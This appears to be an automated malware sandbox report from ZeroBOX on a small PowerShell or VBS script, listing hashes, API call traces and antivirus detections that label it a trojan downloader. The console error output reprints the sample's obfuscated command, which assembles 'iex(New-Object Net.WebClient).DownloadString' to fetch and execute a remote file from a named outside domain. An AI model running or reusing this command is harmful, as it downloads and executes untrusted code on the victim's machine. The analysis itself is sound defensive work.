Summary | ZeroBOX

.file.txt.ps1

Generic Malware Antivirus
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 19, 2023, 10:29 a.m. Sept. 19, 2023, 10:31 a.m.
Size 304.0B
Type ASCII text, with CRLF line terminators
MD5 0be78e194e0d830183a084596c2cad51
SHA256 211296bc0978089b6af86c04f5284100070d97ea258bbd924e719439eadaf0ce
CRC32 D053578B
ssdeep 6:VtGTaKq9NuPMonsl2feBxFLz3IGKh3CT0DNq59BG5BdlLoA:Vt2q+PpslfrF/IzzDYfBGxlLoA
Yara None matched

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: The term 'on' is not recognized as the name of a cmdlet, function, script file,
console_handle: 0x00000023
1 1 0

WriteConsoleW

buffer: or operable program. Check the spelling of the name, or if a path was included
console_handle: 0x0000002f
1 1 0

WriteConsoleW

buffer: , verify that the path is correct and try again.
console_handle: 0x0000003b
1 1 0

WriteConsoleW

buffer: At C:\Users\test22\AppData\Local\Temp\.file.txt.ps1:1 char:3
console_handle: 0x00000047
1 1 0

WriteConsoleW

buffer: + on <<<< error resume next
console_handle: 0x00000053
1 1 0

WriteConsoleW

buffer: + CategoryInfo : ObjectNotFound: (on:String) [], CommandNotFoundE
console_handle: 0x0000005f
1 1 0

WriteConsoleW

buffer: xception
console_handle: 0x0000006b
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000077
1 1 0

WriteConsoleW

buffer: Set-Variable : A positional parameter cannot be found that accepts argument 'Cr
console_handle: 0x00000097
1 1 0

WriteConsoleW

buffer: eateObject'.
console_handle: 0x000000a3
1 1 0

WriteConsoleW

buffer: At C:\Users\test22\AppData\Local\Temp\.file.txt.ps1:2 char:4
console_handle: 0x000000af
1 1 0

WriteConsoleW

buffer: + Set <<<< objShell = CreateObject ("WScript.shell")
console_handle: 0x000000bb
1 1 0

WriteConsoleW

buffer: + CategoryInfo : InvalidArgument: (:) [Set-Variable], ParameterBi
console_handle: 0x000000c7
1 1 0

WriteConsoleW

buffer: ndingException
console_handle: 0x000000d3
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : PositionalParameterNotFound,Microsoft.PowerShell
console_handle: 0x000000df
1 1 0

WriteConsoleW

buffer: .Commands.SetVariableCommand
console_handle: 0x000000eb
1 1 0

WriteConsoleW

buffer: The term 'objShell.Run' is not recognized as the name of a cmdlet, function, sc
console_handle: 0x0000010b
1 1 0

WriteConsoleW

buffer: ript file, or operable program. Check the spelling of the name, or if a path wa
console_handle: 0x00000117
1 1 0

WriteConsoleW

buffer: s included, verify that the path is correct and try again.
console_handle: 0x00000123
1 1 0

WriteConsoleW

buffer: At C:\Users\test22\AppData\Local\Temp\.file.txt.ps1:3 char:13
console_handle: 0x0000012f
1 1 0

WriteConsoleW

buffer: + objShell.Run <<<< "powershell $KXE='iex(NeW-OBJeCT NeT.W';$kds='eBCLIeNT).D
console_handle: 0x0000013b
1 1 0

WriteConsoleW

buffer: OWNLO';Sleep 2;[BYTe[]];Sleep 3;$RHS='#$&@(''https://lambdacientifica.com/.f/.A
console_handle: 0x00000147
1 1 0

WriteConsoleW

buffer: CTIVATED.txt'')'.RePLACe('#$&@','ADSTRING');Sleep 1;($KXE+$kds+$RHS) | iex" , 0
console_handle: 0x00000153
1 1 0

WriteConsoleW

buffer: , True
console_handle: 0x0000015f
1 1 0

WriteConsoleW

buffer: + CategoryInfo : ObjectNotFound: (objShell.Run:String) [], Comman
console_handle: 0x0000016b
1 1 0

WriteConsoleW

buffer: dNotFoundException
console_handle: 0x00000177
1 1 0

WriteConsoleW

buffer: + FullyQualifiedErrorId : CommandNotFoundException
console_handle: 0x00000183
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x005bdf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x026ef000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 1114112
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x063e0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x064b0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x064b1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x064b2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x064b3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02679000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05620000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05622000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05623000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05624000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x064b4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x064b5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

process_identifier: 2632
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05625000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Symantec CL.Downloader!gen38
ESET-NOD32 PowerShell/TrojanDownloader.Agent.GAE
Avast VBS:Obfuscated-BC [Cryp]
Kaspersky HEUR:Trojan.Script.Generic
Tencent Win32.Trojan-Downloader.Downloader.Dtgl
McAfee-GW-Edition Artemis
Microsoft Trojan:Script/Wacatac.B!ml
ZoneAlarm HEUR:Trojan.Script.Generic
AVG VBS:Obfuscated-BC [Cryp]